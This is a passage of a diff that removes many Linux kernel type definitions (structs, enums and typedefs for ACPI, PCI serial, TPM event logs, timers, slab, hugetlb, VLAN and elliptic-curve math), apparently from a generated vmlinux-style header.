__flags; -}; - -enum gcry_mpi_format { - GCRYMPI_FMT_NONE = 0, - GCRYMPI_FMT_STD = 1, - GCRYMPI_FMT_PGP = 2, - GCRYMPI_FMT_SSH = 3, - GCRYMPI_FMT_HEX = 4, - GCRYMPI_FMT_USG = 5, - GCRYMPI_FMT_OPAQUE = 8, -}; - -typedef u16 wchar_t; - -enum utf16_endian { - UTF16_HOST_ENDIAN = 0, - UTF16_LITTLE_ENDIAN = 1, - UTF16_BIG_ENDIAN = 2, -}; - -enum smbios_attr_enum { - SMBIOS_ATTR_NONE = 0, - SMBIOS_ATTR_LABEL_SHOW = 1, - SMBIOS_ATTR_INSTANCE_SHOW = 2, -}; - -enum acpi_attr_enum { - ACPI_ATTR_LABEL_SHOW = 0, - ACPI_ATTR_INDEX_SHOW = 1, -}; - -struct acpi_data_node { - const char *name; - acpi_handle handle; - struct fwnode_handle fwnode; - struct fwnode_handle *parent; - struct acpi_device_data data; - struct list_head sibling; - struct kobject kobj; - struct completion kobj_done; -}; - -struct acpi_port_info { - char *name; - u16 start; - u16 end; - u8 osi_dependency; -}; - -struct pnp_port { - resource_size_t min; - resource_size_t max; - resource_size_t align; - resource_size_t size; - unsigned char flags; -}; - -typedef struct { - long unsigned int bits[4]; -} pnp_irq_mask_t; - -struct pnp_irq { - pnp_irq_mask_t map; - unsigned char flags; -}; - -struct pnp_dma { - unsigned char map; - unsigned char flags; -}; - -struct pnp_mem { - resource_size_t min; - resource_size_t max; - resource_size_t align; - resource_size_t size; - unsigned char flags; -}; - -struct pnp_option { - struct list_head list; - unsigned int flags; - long unsigned int type; - union { - struct pnp_port port; - struct pnp_irq irq; - struct pnp_dma dma; - struct pnp_mem mem; - } u; -}; - -struct pnp_resource { - struct list_head list; - struct resource res; -}; - -struct pciserial_board { - unsigned int flags; - unsigned int num_ports; - unsigned int base_baud; - unsigned int uart_offset; - unsigned int reg_shift; - unsigned int first_offset; -}; - -struct serial_private; - -struct pci_serial_quirk { - u32 vendor; - u32 device; - u32 subvendor; - u32 subdevice; - int (*probe)(struct pci_dev *); - int (*init)(struct pci_dev *); - int (*setup)(struct serial_private *, const struct pciserial_board *, struct uart_8250_port *, int); - void (*exit)(struct pci_dev *); -}; - -struct serial_private { - struct pci_dev *dev; - unsigned int nr; - struct pci_serial_quirk *quirk; - const struct pciserial_board *board; - int line[0]; -}; - -struct f815xxa_data { - spinlock_t lock; - int idx; -}; - -struct timedia_struct { - int num; - const short unsigned int *ids; -}; - -enum pci_board_num_t { - pbn_default = 0, - pbn_b0_1_115200 = 1, - pbn_b0_2_115200 = 2, - pbn_b0_4_115200 = 3, - pbn_b0_5_115200 = 4, - pbn_b0_8_115200 = 5, - pbn_b0_1_921600 = 6, - pbn_b0_2_921600 = 7, - pbn_b0_4_921600 = 8, - pbn_b0_2_1130000 = 9, - pbn_b0_4_1152000 = 10, - pbn_b0_4_1250000 = 11, - pbn_b0_2_1843200 = 12, - pbn_b0_4_1843200 = 13, - pbn_b0_1_15625000 = 14, - pbn_b0_bt_1_115200 = 15, - pbn_b0_bt_2_115200 = 16, - pbn_b0_bt_4_115200 = 17, - pbn_b0_bt_8_115200 = 18, - pbn_b0_bt_1_460800 = 19, - pbn_b0_bt_2_460800 = 20, - pbn_b0_bt_4_460800 = 21, - pbn_b0_bt_1_921600 = 22, - pbn_b0_bt_2_921600 = 23, - pbn_b0_bt_4_921600 = 24, - pbn_b0_bt_8_921600 = 25, - pbn_b1_1_115200 = 26, - pbn_b1_2_115200 = 27, - pbn_b1_4_115200 = 28, - pbn_b1_8_115200 = 29, - pbn_b1_16_115200 = 30, - pbn_b1_1_921600 = 31, - pbn_b1_2_921600 = 32, - pbn_b1_4_921600 = 33, - pbn_b1_8_921600 = 34, - pbn_b1_2_1250000 = 35, - pbn_b1_bt_1_115200 = 36, - pbn_b1_bt_2_115200 = 37, - pbn_b1_bt_4_115200 = 38, - pbn_b1_bt_2_921600 = 39, - pbn_b1_1_1382400 = 40, - pbn_b1_2_1382400 = 41, - pbn_b1_4_1382400 = 42, - pbn_b1_8_1382400 = 43, - pbn_b2_1_115200 = 44, - pbn_b2_2_115200 = 45, - pbn_b2_4_115200 = 46, - pbn_b2_8_115200 = 47, - pbn_b2_1_460800 = 48, - pbn_b2_4_460800 = 49, - pbn_b2_8_460800 = 50, - pbn_b2_16_460800 = 51, - pbn_b2_1_921600 = 52, - pbn_b2_4_921600 = 53, - pbn_b2_8_921600 = 54, - pbn_b2_8_1152000 = 55, - pbn_b2_bt_1_115200 = 56, - pbn_b2_bt_2_115200 = 57, - pbn_b2_bt_4_115200 = 58, - pbn_b2_bt_2_921600 = 59, - pbn_b2_bt_4_921600 = 60, - pbn_b3_2_115200 = 61, - pbn_b3_4_115200 = 62, - pbn_b3_8_115200 = 63, - pbn_b4_bt_2_921600 = 64, - pbn_b4_bt_4_921600 = 65, - pbn_b4_bt_8_921600 = 66, - pbn_panacom = 67, - pbn_panacom2 = 68, - pbn_panacom4 = 69, - pbn_plx_romulus = 70, - pbn_oxsemi = 71, - pbn_oxsemi_1_15625000 = 72, - pbn_oxsemi_2_15625000 = 73, - pbn_oxsemi_4_15625000 = 74, - pbn_oxsemi_8_15625000 = 75, - pbn_intel_i960 = 76, - pbn_sgi_ioc3 = 77, - pbn_computone_4 = 78, - pbn_computone_6 = 79, - pbn_computone_8 = 80, - pbn_sbsxrsio = 81, - pbn_pasemi_1682M = 82, - pbn_ni8430_2 = 83, - pbn_ni8430_4 = 84, - pbn_ni8430_8 = 85, - pbn_ni8430_16 = 86, - pbn_ADDIDATA_PCIe_1_3906250 = 87, - pbn_ADDIDATA_PCIe_2_3906250 = 88, - pbn_ADDIDATA_PCIe_4_3906250 = 89, - pbn_ADDIDATA_PCIe_8_3906250 = 90, - pbn_ce4100_1_115200 = 91, - pbn_omegapci = 92, - pbn_NETMOS9900_2s_115200 = 93, - pbn_brcm_trumanage = 94, - pbn_fintek_4 = 95, - pbn_fintek_8 = 96, - pbn_fintek_12 = 97, - pbn_fintek_F81504A = 98, - pbn_fintek_F81508A = 99, - pbn_fintek_F81512A = 100, - pbn_wch382_2 = 101, - pbn_wch384_4 = 102, - pbn_wch384_8 = 103, - pbn_sunix_pci_1s = 104, - pbn_sunix_pci_2s = 105, - pbn_sunix_pci_4s = 106, - pbn_sunix_pci_8s = 107, - pbn_sunix_pci_16s = 108, - pbn_titan_1_4000000 = 109, - pbn_titan_2_4000000 = 110, - pbn_titan_4_4000000 = 111, - pbn_titan_8_4000000 = 112, - pbn_moxa8250_2p = 113, - pbn_moxa8250_4p = 114, - pbn_moxa8250_8p = 115, -}; - -struct linux_efi_tpm_eventlog { - u32 size; - u32 final_events_preboot_size; - u8 version; - u8 log[0]; -}; - -struct efi_tcg2_final_events_table { - u64 version; - u64 nr_events; - u8 events[0]; -}; - -enum tcpa_event_types { - PREBOOT = 0, - POST_CODE = 1, - UNUSED = 2, - NO_ACTION = 3, - SEPARATOR = 4, - ACTION = 5, - EVENT_TAG = 6, - SCRTM_CONTENTS = 7, - SCRTM_VERSION = 8, - CPU_MICROCODE = 9, - PLATFORM_CONFIG_FLAGS = 10, - TABLE_OF_DEVICES = 11, - COMPACT_HASH = 12, - IPL = 13, - IPL_PARTITION_DATA = 14, - NONHOST_CODE = 15, - NONHOST_CONFIG = 16, - NONHOST_INFO = 17, -}; - -struct tcg_efi_specid_event_algs { - u16 alg_id; - u16 digest_size; -}; - -struct tcg_efi_specid_event_head { - u8 signature[16]; - u32 platform_class; - u8 spec_version_minor; - u8 spec_version_major; - u8 spec_errata; - u8 uintnsize; - u32 num_algs; - struct tcg_efi_specid_event_algs digest_sizes[0]; -}; - -struct tcg_pcr_event { - u32 pcr_idx; - u32 event_type; - u8 digest[20]; - u32 event_size; - u8 event[0]; -}; - -struct tcg_event_field { - u32 event_size; - u8 event[0]; -}; - -struct tcg_pcr_event2_head { - u32 pcr_idx; - u32 event_type; - u32 count; - struct tpm_digest digests[0]; -}; - -enum clocksource_ids { - CSID_GENERIC = 0, - CSID_ARM_ARCH_COUNTER = 1, - CSID_MAX = 2, -}; - -struct clocksource { - u64 (*read)(struct clocksource *); - u64 mask; - u32 mult; - u32 shift; - u64 max_idle_ns; - u32 maxadj; - u32 uncertainty_margin; - u64 max_cycles; - const char *name; - struct list_head list; - int rating; - enum clocksource_ids id; - enum vdso_clock_mode vdso_clock_mode; - long unsigned int flags; - int (*enable)(struct clocksource *); - void (*disable)(struct clocksource *); - void (*suspend)(struct clocksource *); - void (*resume)(struct clocksource *); - void (*mark_unstable)(struct clocksource *); - void (*tick_stable)(struct clocksource *); - struct list_head wd_list; - u64 cs_last; - u64 wd_last; - struct module *owner; -}; - -enum { - NETNSA_NONE = 0, - NETNSA_NSID = 1, - NETNSA_PID = 2, - NETNSA_FD = 3, - NETNSA_TARGET_NSID = 4, - NETNSA_CURRENT_NSID = 5, - __NETNSA_MAX = 6, -}; - -struct net_fill_args { - u32 portid; - u32 seq; - int flags; - int cmd; - int nsid; - bool add_ref; - int ref_nsid; -}; - -struct rtnl_net_dump_cb { - struct net *tgt_net; - struct net *ref_net; - struct sk_buff *skb; - struct net_fill_args fillargs; - int idx; - int s_idx; -}; - -enum { - ETHTOOL_A_PAUSE_STAT_UNSPEC = 0, - ETHTOOL_A_PAUSE_STAT_PAD = 1, - ETHTOOL_A_PAUSE_STAT_TX_FRAMES = 2, - ETHTOOL_A_PAUSE_STAT_RX_FRAMES = 3, - __ETHTOOL_A_PAUSE_STAT_CNT = 4, - ETHTOOL_A_PAUSE_STAT_MAX = 3, -}; - -struct pause_reply_data { - struct ethnl_reply_data base; - struct ethtool_pauseparam pauseparam; - struct ethtool_pause_stats pausestat; -}; - -struct rhltable { - struct rhashtable ht; -}; - -struct __kernel_sockaddr_storage { - union { - struct { - __kernel_sa_family_t ss_family; - char __data[126]; - }; - void *__align; - }; -}; - -struct ipv6_mreq { - struct in6_addr ipv6mr_multiaddr; - int ipv6mr_ifindex; -}; - -struct in6_flowlabel_req { - struct in6_addr flr_dst; - __be32 flr_label; - __u8 flr_action; - __u8 flr_share; - __u16 flr_flags; - __u16 flr_expires; - __u16 flr_linger; - __u32 __flr_pad; -}; - -struct mr_table_ops { - const struct rhashtable_params *rht_params; - void *cmparg_any; -}; - -struct vif_device { - struct net_device *dev; - netdevice_tracker dev_tracker; - long unsigned int bytes_in; - long unsigned int bytes_out; - long unsigned int pkt_in; - long unsigned int pkt_out; - long unsigned int rate_limit; - unsigned char threshold; - short unsigned int flags; - int link; - struct netdev_phys_item_id dev_parent_id; - __be32 local; - __be32 remote; -}; - -struct mr_table { - struct list_head list; - possible_net_t net; - struct mr_table_ops ops; - u32 id; - struct sock *mroute_sk; - struct timer_list ipmr_expire_timer; - struct list_head mfc_unres_queue; - struct vif_device vif_table[32]; - struct rhltable mfc_hash; - struct list_head mfc_cache_list; - int maxvif; - atomic_t cache_resolve_queue_len; - bool mroute_do_assert; - bool mroute_do_pim; - bool mroute_do_wrvifwhole; - int mroute_reg_vif_num; -}; - -struct group_req { - __u32 gr_interface; - struct __kernel_sockaddr_storage gr_group; -}; - -struct group_source_req { - __u32 gsr_interface; - struct __kernel_sockaddr_storage gsr_group; - struct __kernel_sockaddr_storage gsr_source; -}; - -struct group_filter { - union { - struct { - __u32 gf_interface_aux; - struct __kernel_sockaddr_storage gf_group_aux; - __u32 gf_fmode_aux; - __u32 gf_numsrc_aux; - struct __kernel_sockaddr_storage gf_slist[1]; - }; - struct { - __u32 gf_interface; - struct __kernel_sockaddr_storage gf_group; - __u32 gf_fmode; - __u32 gf_numsrc; - struct __kernel_sockaddr_storage gf_slist_flex[0]; - }; - }; -}; - -struct ip6_ra_chain { - struct ip6_ra_chain *next; - struct sock *sk; - int sel; - void (*destructor)(struct sock *); -}; - -struct compat_group_req { - __u32 gr_interface; - struct __kernel_sockaddr_storage gr_group; -} __attribute__((packed)); - -struct compat_group_source_req { - __u32 gsr_interface; - struct __kernel_sockaddr_storage gsr_group; - struct __kernel_sockaddr_storage gsr_source; -} __attribute__((packed)); - -struct compat_group_filter { - union { - struct { - __u32 gf_interface_aux; - struct __kernel_sockaddr_storage gf_group_aux; - __u32 gf_fmode_aux; - __u32 gf_numsrc_aux; - struct __kernel_sockaddr_storage gf_slist[1]; - } __attribute__((packed)); - struct { - __u32 gf_interface; - struct __kernel_sockaddr_storage gf_group; - __u32 gf_fmode; - __u32 gf_numsrc; - struct __kernel_sockaddr_storage gf_slist_flex[0]; - } __attribute__((packed)); - }; -}; - -struct vlan_group { - unsigned int nr_vlan_devs; - struct hlist_node hlist; - struct net_device **vlan_devices_arrays[16]; -}; - -struct vlan_info { - struct net_device *real_dev; - struct vlan_group grp; - struct list_head vid_list; - unsigned int nr_vids; - struct callback_head rcu; -}; - -enum vlan_name_types { - VLAN_NAME_TYPE_PLUS_VID = 0, - VLAN_NAME_TYPE_RAW_PLUS_VID = 1, - VLAN_NAME_TYPE_PLUS_VID_NO_PAD = 2, - VLAN_NAME_TYPE_RAW_PLUS_VID_NO_PAD = 3, - VLAN_NAME_TYPE_HIGHEST = 4, -}; - -struct vlan_pcpu_stats { - u64_stats_t rx_packets; - u64_stats_t rx_bytes; - u64_stats_t rx_multicast; - u64_stats_t tx_packets; - u64_stats_t tx_bytes; - struct u64_stats_sync syncp; - u32 rx_errors; - u32 tx_dropped; -}; - -struct vlan_priority_tci_mapping { - u32 priority; - u16 vlan_qos; - struct vlan_priority_tci_mapping *next; -}; - -struct vlan_dev_priv { - unsigned int nr_ingress_mappings; - u32 ingress_priority_map[8]; - unsigned int nr_egress_mappings; - struct vlan_priority_tci_mapping *egress_priority_map[16]; - __be16 vlan_proto; - u16 vlan_id; - u16 flags; - struct net_device *real_dev; - netdevice_tracker dev_tracker; - unsigned char real_dev_addr[6]; - struct proc_dir_entry *dent; - struct vlan_pcpu_stats *vlan_pcpu_stats; -}; - -enum vlan_protos { - VLAN_PROTO_8021Q = 0, - VLAN_PROTO_8021AD = 1, - VLAN_PROTO_NUM = 2, -}; - -struct vlan_net { - struct proc_dir_entry *proc_vlan_dir; - struct proc_dir_entry *proc_vlan_conf; - short unsigned int name_type; -}; - -struct vdso_exception_table_entry { - int insn; - int fixup; -}; - -struct itimerspec64 { - struct timespec64 it_interval; - struct timespec64 it_value; -}; - -struct softirq_action { - void (*action)(struct softirq_action *); -}; - -enum tick_dep_bits { - TICK_DEP_BIT_POSIX_TIMER = 0, - TICK_DEP_BIT_PERF_EVENTS = 1, - TICK_DEP_BIT_SCHED = 2, - TICK_DEP_BIT_CLOCK_UNSTABLE = 3, - TICK_DEP_BIT_RCU = 4, - TICK_DEP_BIT_RCU_EXP = 5, -}; - -struct trace_event_raw_timer_class { - struct trace_entry ent; - void *timer; - char __data[0]; -}; - -struct trace_event_raw_timer_start { - struct trace_entry ent; - void *timer; - void *function; - long unsigned int expires; - long unsigned int now; - unsigned int flags; - char __data[0]; -}; - -struct trace_event_raw_timer_expire_entry { - struct trace_entry ent; - void *timer; - long unsigned int now; - void *function; - long unsigned int baseclk; - char __data[0]; -}; - -struct trace_event_raw_hrtimer_init { - struct trace_entry ent; - void *hrtimer; - clockid_t clockid; - enum hrtimer_mode mode; - char __data[0]; -}; - -struct trace_event_raw_hrtimer_start { - struct trace_entry ent; - void *hrtimer; - void *function; - s64 expires; - s64 softexpires; - enum hrtimer_mode mode; - char __data[0]; -}; - -struct trace_event_raw_hrtimer_expire_entry { - struct trace_entry ent; - void *hrtimer; - s64 now; - void *function; - char __data[0]; -}; - -struct trace_event_raw_hrtimer_class { - struct trace_entry ent; - void *hrtimer; - char __data[0]; -}; - -struct trace_event_raw_itimer_state { - struct trace_entry ent; - int which; - long long unsigned int expires; - long int value_sec; - long int value_nsec; - long int interval_sec; - long int interval_nsec; - char __data[0]; -}; - -struct trace_event_raw_itimer_expire { - struct trace_entry ent; - int which; - pid_t pid; - long long unsigned int now; - char __data[0]; -}; - -struct trace_event_raw_tick_stop { - struct trace_entry ent; - int success; - int dependency; - char __data[0]; -}; - -struct trace_event_data_offsets_timer_class {}; - -struct trace_event_data_offsets_timer_start {}; - -struct trace_event_data_offsets_timer_expire_entry {}; - -struct trace_event_data_offsets_hrtimer_init {}; - -struct trace_event_data_offsets_hrtimer_start {}; - -struct trace_event_data_offsets_hrtimer_expire_entry {}; - -struct trace_event_data_offsets_hrtimer_class {}; - -struct trace_event_data_offsets_itimer_state {}; - -struct trace_event_data_offsets_itimer_expire {}; - -struct trace_event_data_offsets_tick_stop {}; - -typedef void (*btf_trace_timer_init)(void *, struct timer_list *); - -typedef void (*btf_trace_timer_start)(void *, struct timer_list *, long unsigned int, unsigned int); - -typedef void (*btf_trace_timer_expire_entry)(void *, struct timer_list *, long unsigned int); - -typedef void (*btf_trace_timer_expire_exit)(void *, struct timer_list *); - -typedef void (*btf_trace_timer_cancel)(void *, struct timer_list *); - -typedef void (*btf_trace_hrtimer_init)(void *, struct hrtimer *, clockid_t, enum hrtimer_mode); - -typedef void (*btf_trace_hrtimer_start)(void *, struct hrtimer *, enum hrtimer_mode); - -typedef void (*btf_trace_hrtimer_expire_entry)(void *, struct hrtimer *, ktime_t *); - -typedef void (*btf_trace_hrtimer_expire_exit)(void *, struct hrtimer *); - -typedef void (*btf_trace_hrtimer_cancel)(void *, struct hrtimer *); - -typedef void (*btf_trace_itimer_state)(void *, int, const struct itimerspec64 * const, long long unsigned int); - -typedef void (*btf_trace_itimer_expire)(void *, int, struct pid *, long long unsigned int); - -typedef void (*btf_trace_tick_stop)(void *, int, int); - -struct timer_base { - raw_spinlock_t lock; - struct timer_list *running_timer; - long unsigned int clk; - long unsigned int next_expiry; - unsigned int cpu; - bool next_expiry_recalc; - bool is_idle; - bool timers_pending; - long unsigned int pending_map[9]; - struct hlist_head vectors[576]; - long: 64; - long: 64; - long: 64; -}; - -struct process_timer { - struct timer_list timer; - struct task_struct *task; -}; - -enum lru_status { - LRU_REMOVED = 0, - LRU_REMOVED_RETRY = 1, - LRU_ROTATE = 2, - LRU_SKIP = 3, - LRU_RETRY = 4, -}; - -struct list_lru_memcg { - struct callback_head rcu; - struct list_lru_one node[0]; -}; - -typedef enum lru_status (*list_lru_walk_cb)(struct list_head *, struct list_lru_one *, spinlock_t *, void *); - -struct reciprocal_value { - u32 m; - u8 sh1; - u8 sh2; -}; - -struct kmem_cache_order_objects { - unsigned int x; -}; - -struct kmem_cache_cpu; - -struct kmem_cache_node; - -struct kmem_cache { - struct kmem_cache_cpu *cpu_slab; - slab_flags_t flags; - long unsigned int min_partial; - unsigned int size; - unsigned int object_size; - struct reciprocal_value reciprocal_size; - unsigned int offset; - unsigned int cpu_partial; - unsigned int cpu_partial_slabs; - struct kmem_cache_order_objects oo; - struct kmem_cache_order_objects min; - gfp_t allocflags; - int refcount; - void (*ctor)(void *); - unsigned int inuse; - unsigned int align; - unsigned int red_left_pad; - const char *name; - struct list_head list; - struct kobject kobj; - unsigned int remote_node_defrag_ratio; - unsigned int useroffset; - unsigned int usersize; - struct kmem_cache_node *node[64]; -}; - -struct slab { - long unsigned int __page_flags; - union { - struct list_head slab_list; - struct callback_head callback_head; - struct { - struct slab *next; - int slabs; - }; - }; - struct kmem_cache *slab_cache; - void *freelist; - union { - long unsigned int counters; - struct { - unsigned int inuse: 16; - unsigned int objects: 15; - unsigned int frozen: 1; - }; - }; - unsigned int __unused; - atomic_t __page_refcount; - long unsigned int memcg_data; -}; - -struct kmem_cache_cpu { - void **freelist; - long unsigned int tid; - struct slab *slab; - struct slab *partial; - local_lock_t lock; -}; - -struct kmem_cache_node { - spinlock_t list_lock; - long unsigned int nr_partial; - struct list_head partial; - atomic_long_t nr_slabs; - atomic_long_t total_objects; - struct list_head full; -}; - -struct list_lru_memcg_table { - struct list_lru_memcg *mlru; - struct mem_cgroup *memcg; -}; - -enum string_size_units { - STRING_UNITS_10 = 0, - STRING_UNITS_2 = 1, -}; - -enum { - MPOL_DEFAULT = 0, - MPOL_PREFERRED = 1, - MPOL_BIND = 2, - MPOL_INTERLEAVE = 3, - MPOL_LOCAL = 4, - MPOL_PREFERRED_MANY = 5, - MPOL_MAX = 6, -}; - -struct node { - struct device dev; - struct list_head access_list; -}; - -typedef struct { - long unsigned int pd; -} hugepd_t; - -enum { - SUBPAGE_INDEX_SUBPOOL = 1, - SUBPAGE_INDEX_CGROUP = 2, - SUBPAGE_INDEX_CGROUP_RSVD = 3, - __MAX_CGROUP_SUBPAGE_INDEX = 3, - SUBPAGE_INDEX_HWPOISON = 4, - __NR_USED_SUBPAGE = 5, -}; - -struct resv_map { - struct kref refs; - spinlock_t lock; - struct list_head regions; - long int adds_in_progress; - struct list_head region_cache; - long int region_cache_count; - struct page_counter *reservation_counter; - long unsigned int pages_per_hpage; - struct cgroup_subsys_state *css; -}; - -struct file_region { - struct list_head link; - long int from; - long int to; - struct page_counter *reservation_counter; - struct cgroup_subsys_state *css; -}; - -struct hugetlb_vma_lock { - struct kref refs; - struct rw_semaphore rw_sema; - struct vm_area_struct *vma; -}; - -enum hugetlb_page_flags { - HPG_restore_reserve = 0, - HPG_migratable = 1, - HPG_temporary = 2, - HPG_freed = 3, - HPG_vmemmap_optimized = 4, - HPG_raw_hwp_unreliable = 5, - __NR_HPAGEFLAGS = 6, -}; - -struct huge_bootmem_page { - struct list_head list; - struct hstate *hstate; -}; - -enum hugetlb_memory_event { - HUGETLB_MAX = 0, - HUGETLB_NR_MEMORY_EVENTS = 1, -}; - -struct hugetlb_cgroup_per_node { - long unsigned int usage[2]; -}; - -struct hugetlb_cgroup { - struct cgroup_subsys_state css; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct page_counter hugepage[2]; - struct page_counter rsvd_hugepage[2]; - atomic_long_t events[2]; - atomic_long_t events_local[2]; - struct cgroup_file events_file[2]; - struct cgroup_file events_local_file[2]; - struct hugetlb_cgroup_per_node *nodeinfo[0]; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum vma_resv_mode { - VMA_NEEDS_RESV = 0, - VMA_COMMIT_RESV = 1, - VMA_END_RESV = 2, - VMA_ADD_RESV = 3, - VMA_DEL_RESV = 4, -}; - -struct node_hstate { - struct kobject *hugepages_kobj; - struct kobject *hstate_kobjs[2]; -}; - -struct sg_io_v4 { - __s32 guard; - __u32 protocol; - __u32 subprotocol; - __u32 request_len; - __u64 request; - __u64 request_tag; - __u32 request_attr; - __u32 request_priority; - __u32 request_extra; - __u32 max_response_len; - __u64 response; - __u32 dout_iovec_count; - __u32 dout_xfer_len; - __u32 din_iovec_count; - __u32 din_xfer_len; - __u64 dout_xferp; - __u64 din_xferp; - __u32 timeout; - __u32 flags; - __u64 usr_ptr; - __u32 spare_in; - __u32 driver_status; - __u32 transport_status; - __u32 device_status; - __u32 retry_delay; - __u32 info; - __u32 duration; - __u32 response_len; - __s32 din_resid; - __s32 dout_resid; - __u64 generated_tag; - __u32 spare_out; - __u32 padding; -}; - -typedef int bsg_sg_io_fn(struct request_queue *, struct sg_io_v4 *, fmode_t, unsigned int); - -struct bsg_job; - -typedef int bsg_job_fn(struct bsg_job *); - -struct bsg_buffer { - unsigned int payload_len; - int sg_cnt; - struct scatterlist *sg_list; -}; - -struct bsg_job { - struct device *dev; - struct kref kref; - unsigned int timeout; - void *request; - void *reply; - unsigned int request_len; - unsigned int reply_len; - struct bsg_buffer request_payload; - struct bsg_buffer reply_payload; - int result; - unsigned int reply_payload_rcv_len; - struct request *bidi_rq; - struct bio *bidi_bio; - void *dd_data; -}; - -typedef enum blk_eh_timer_return bsg_timeout_fn(struct request *); - -enum scsi_device_event { - SDEV_EVT_MEDIA_CHANGE = 1, - SDEV_EVT_INQUIRY_CHANGE_REPORTED = 2, - SDEV_EVT_CAPACITY_CHANGE_REPORTED = 3, - SDEV_EVT_SOFT_THRESHOLD_REACHED_REPORTED = 4, - SDEV_EVT_MODE_PARAMETER_CHANGE_REPORTED = 5, - SDEV_EVT_LUN_CHANGE_REPORTED = 6, - SDEV_EVT_ALUA_STATE_CHANGE_REPORTED = 7, - SDEV_EVT_POWER_ON_RESET_OCCURRED = 8, - SDEV_EVT_FIRST = 1, - SDEV_EVT_LAST = 8, - SDEV_EVT_MAXBITS = 9, -}; - -struct bsg_device; - -struct bsg_set { - struct blk_mq_tag_set tag_set; - struct bsg_device *bd; - bsg_job_fn *job_fn; - bsg_timeout_fn *timeout_fn; -}; - -enum blake2s_lengths { - BLAKE2S_BLOCK_SIZE = 64, - BLAKE2S_HASH_SIZE = 32, - BLAKE2S_KEY_SIZE = 32, - BLAKE2S_128_HASH_SIZE = 16, - BLAKE2S_160_HASH_SIZE = 20, - BLAKE2S_224_HASH_SIZE = 28, - BLAKE2S_256_HASH_SIZE = 32, -}; - -struct blake2s_state { - u32 h[8]; - u32 t[2]; - u32 f[2]; - u8 buf[64]; - unsigned int buflen; - unsigned int outlen; -}; - -struct assoc_array_ops { - long unsigned int (*get_key_chunk)(const void *, int); - long unsigned int (*get_object_key_chunk)(const void *, int); - bool (*compare_object)(const void *, const void *); - int (*diff_objects)(const void *, const void *); - void (*free_object)(void *); -}; - -struct assoc_array_node { - struct assoc_array_ptr *back_pointer; - u8 parent_slot; - struct assoc_array_ptr *slots[16]; - long unsigned int nr_leaves_on_branch; -}; - -struct assoc_array_shortcut { - struct assoc_array_ptr *back_pointer; - int parent_slot; - int skip_to_level; - struct assoc_array_ptr *next_node; - long unsigned int index_key[0]; -}; - -struct assoc_array_edit { - struct callback_head rcu; - struct assoc_array *array; - const struct assoc_array_ops *ops; - const struct assoc_array_ops *ops_for_excised_subtree; - struct assoc_array_ptr *leaf; - struct assoc_array_ptr **leaf_p; - struct assoc_array_ptr *dead_leaf; - struct assoc_array_ptr *new_meta[3]; - struct assoc_array_ptr *excised_meta[1]; - struct assoc_array_ptr *excised_subtree; - struct assoc_array_ptr **set_backpointers[16]; - struct assoc_array_ptr *set_backpointers_to; - struct assoc_array_node *adjust_count_on; - long int adjust_count_by; - struct { - struct assoc_array_ptr **ptr; - struct assoc_array_ptr *to; - } set[2]; - struct { - u8 *p; - u8 to; - } set_parent_slot[1]; - u8 segment_cache[17]; -}; - -enum assoc_array_walk_status { - assoc_array_walk_tree_empty = 0, - assoc_array_walk_found_terminal_node = 1, - assoc_array_walk_found_wrong_shortcut = 2, -}; - -struct assoc_array_walk_result { - struct { - struct assoc_array_node *node; - int level; - int slot; - } terminal_node; - struct { - struct assoc_array_shortcut *shortcut; - int level; - int sc_level; - long unsigned int sc_segments; - long unsigned int dissimilarity; - } wrong_shortcut; -}; - -struct assoc_array_delete_collapse_context { - struct assoc_array_node *node; - const void *skip_leaf; - int slot; -}; - -typedef struct { - const uint8_t *externalDict; - size_t extDictSize; - const uint8_t *prefixEnd; - size_t prefixSize; -} LZ4_streamDecode_t_internal; - -typedef union { - long long unsigned int table[4]; - LZ4_streamDecode_t_internal internal_donotuse; -} LZ4_streamDecode_t; - -typedef uintptr_t uptrval; - -typedef enum { - noDict = 0, - withPrefix64k = 1, - usingExtDict = 2, -} dict_directive; - -typedef enum { - endOnOutputSize = 0, - endOnInputSize = 1, -} endCondition_directive; - -typedef enum { - decode_full_block = 0, - partial_decode = 1, -} earlyEnd_directive; - -struct barrett_ctx_s; - -typedef struct barrett_ctx_s *mpi_barrett_t; - -struct gcry_mpi_point { - MPI x; - MPI y; - MPI z; -}; - -typedef struct gcry_mpi_point *MPI_POINT; - -enum gcry_mpi_ec_models { - MPI_EC_WEIERSTRASS = 0, - MPI_EC_MONTGOMERY = 1, - MPI_EC_EDWARDS = 2, -}; - -enum ecc_dialects { - ECC_DIALECT_STANDARD = 0, - ECC_DIALECT_ED25519 = 1, - ECC_DIALECT_SAFECURVE = 2, -}; - -struct mpi_ec_ctx { - enum gcry_mpi_ec_models model; - enum ecc_dialects dialect; - int flags; - unsigned int nbits; - MPI p; - MPI a; - MPI b; - MPI_POINT G; - MPI n; - unsigned int h; - MPI_POINT Q; - MPI d; - const char *name; - struct { - struct { - unsigned int a_is_pminus3: 1; - unsigned int two_inv_p: 1; - } valid; - int a_is_pminus3; - MPI two_inv_p; - mpi_barrett_t p_barrett; - MPI scratch[11]; - } t; - void (*addm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*subm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*mulm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*pow2)(MPI, const MPI, struct mpi_ec_ctx *); - void (*mul2)(MPI, MPI, struct mpi_ec_ctx *); -}; - -struct field_table { - const char *p; - void (*addm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*subm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*mulm)(MPI, MPI, MPI, struct mpi_ec_ctx *); - void (*mul2)(MPI, MPI, struct mpi_ec_ctx *); - void (*pow2)(MPI, const MPI, struct mpi_ec_ctx *); -}; - -struct iopf_device_param; - -struct iommu_fault_param; - -struct iommu_fwspec; - -struct dev_iommu { - struct mutex lock; - struct iommu_fault_param *fault_param; - struct iopf_device_param *iopf_param; - struct iommu_fwspec *fwspec; - struct iommu_device *iommu_dev; - void *priv; -}; - -struct iommu_fault_unrecoverable { - __u32 reason; - __u32 flags; - __u32 pasid; - __u32 perm; - __u64 addr; - __u64 fetch_addr; -}; - -struct iommu_fault_page_request { - __u32 flags; - __u32 pasid; - __u32 grpid; - __u32 perm; - __u64 addr; - __u64 private_data[2]; -}; - -struct iommu_fault { - __u32 type; - __u32 padding; - union { - struct iommu_fault_unrecoverable event; - struct iommu_fault_page_request prm; - __u8 padding2[56]; - }; -}; - -struct iommu_page_response { - __u32 argsz; - __u32 version; - __u32 flags; - __u32 pasid; - __u32 grpid; - __u32 